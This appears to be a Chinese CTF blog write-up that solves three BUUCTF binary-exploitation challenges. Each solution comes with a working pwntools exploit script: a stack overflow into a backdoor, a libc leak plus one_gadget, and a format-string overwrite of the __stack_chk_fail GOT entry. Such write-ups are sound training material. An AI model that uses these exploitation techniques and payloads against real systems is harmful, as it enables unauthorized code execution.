最简单的一道题,可是我竟然没有做出来,无语了,,,
文件保护没啥好说的,,,很正常
进入name_check函数
255 ==> 255
256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,
260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8
我觉得应该是260-264,,,但是试了一下,发现最后的长度介于256-262都可以,,,我也不知道为什么差了这么几个,,,
存在后门函数,,,
所以,我们只需要,将输入的串覆盖返回地址,0x11+0x4,然后将字符串长度填充成需要的长度,即可
exp:
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
p.interactive()
其实题目还是比较简单的,但是我不熟,对于这种通过libc计算地址的,,,
保护竟然全开,,,看到这个有点吓人,,,不过因为题目有漏洞,所以影响不大啦,,,
可以看到要我们输入v4,而v4是一个函数指针,并且在下面有调用,,,所以我们可以在v4里面输入gadget,,,%ld需要我们将地址转换成十进制的数
因为我们收到的地址是一个字符串,eval()函数是计算括号里面字符串的值,可以将十六进制的数转换成十进制
init里面直接给我们printf的地址,所以我们可以泄漏libc的地址,,,
开始做题啦,,,
先到BUUCTF上面把对应版本的libc-2.29.so下载过来
然后找一个gadget
这里找gadget,要看此时的程序是否满足one_gadget下面的constraints
第一个gadget需要满足的条件是rcx==null、[rbp-0x70]==null 或者 [rcx]==null、[rbp-0x70]==null
调试让程序走到这里
方法:(gdb one_gadget,然后b printf,接下来一直n下一步就行【执行到<__isoc99_scanf@plt>,按两次n就行】)
解释一下为什么是这里
因为我们可以看到先调用了__isoc99_scanf函数,记下来并且返回值存放在[rbp-0x18]刚好是v4的地址,因为存储器直接是不能直接传值的,所以用了rax寄存器做中转,[rbp-0x18]的值先传给rax,然后rax的值再传给[rbp-0x10](也就是v5),现在v4和v5的值一样,接下来v5的值给了rdx,接下来调用rdx也就是调用了v4(没有直接调用v4,猜测的可能性,因为v4是还要作为参数)
可以看到rcx==null,那么[rcx]==null,满足第一个条件,但是不满足第二个条件,[rbp-0x70]=0x7ffff7fad760 不为null,所以第一个gadget不可以,相应的,我们可以查看其它gadget
第二个和第三个也都不满足条件
最后看下最后一个,nice,满足条件,[rsp+0x70]==null,所以,我们选择最后一个gadget
然后就可以写exp啦
#coding=utf-8
from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#转成十进制
log.success('printf_addr==>'+str(printf_addr))#打印到控制台上
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()
这道题,,,看writeup看了很久没看懂,,,泪崩,,,虽然知道格式化字符串的用法,但是不全吧,,,
我们读入的字符长度不是很长,还有格式化字符串漏洞,所以想到格式化字符串可以利用的一点,就是写地址,将一处地址修改为backdoor,这处地址在执行完后必须执行,,,
这里有个函数,___stack_chk_fail,就是canary保护的一个,如果栈上的canary和一开始存的不一样,就会执行这个函数,然后程序结束,,,所以我们可以修改这个函数的地址,然后read的时候覆盖掉canary为任意值,就可以了,,,
__stack_chk_fail=elf.got['__stack_chk_fail']
pay = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
题目中给出的writeup,我来解释一下,,,
所以覆盖__stack_chk_fail ==> 0x0626(64+1510=1574)
__stack_chk_fail+2==> 0x40(64)
修改的是__stack_chk_fail的got表,,,
没了,,,,
学长给出了一个更简单的exp,,,
from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
p = process('./r2t4')
#p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
pay = "%1574c%8$hnaaaaa"+ p64(__stack_chk_fail)+'a'*20
#1576 ==> 0x626 前面字符串两个字节,所以6+2=8 20个a是为了让栈溢出
p.sendline(pay)
p.interactive()
0x40不需要了是因为,虽然__stack_chk_fail的地址是0x601018,但是实际的地址我们可以gdb看一下(延迟绑定,只有前三位地址会变,后三位地址不变)
所以原来的高4位已经是0x40了,,,啦啦啦,,,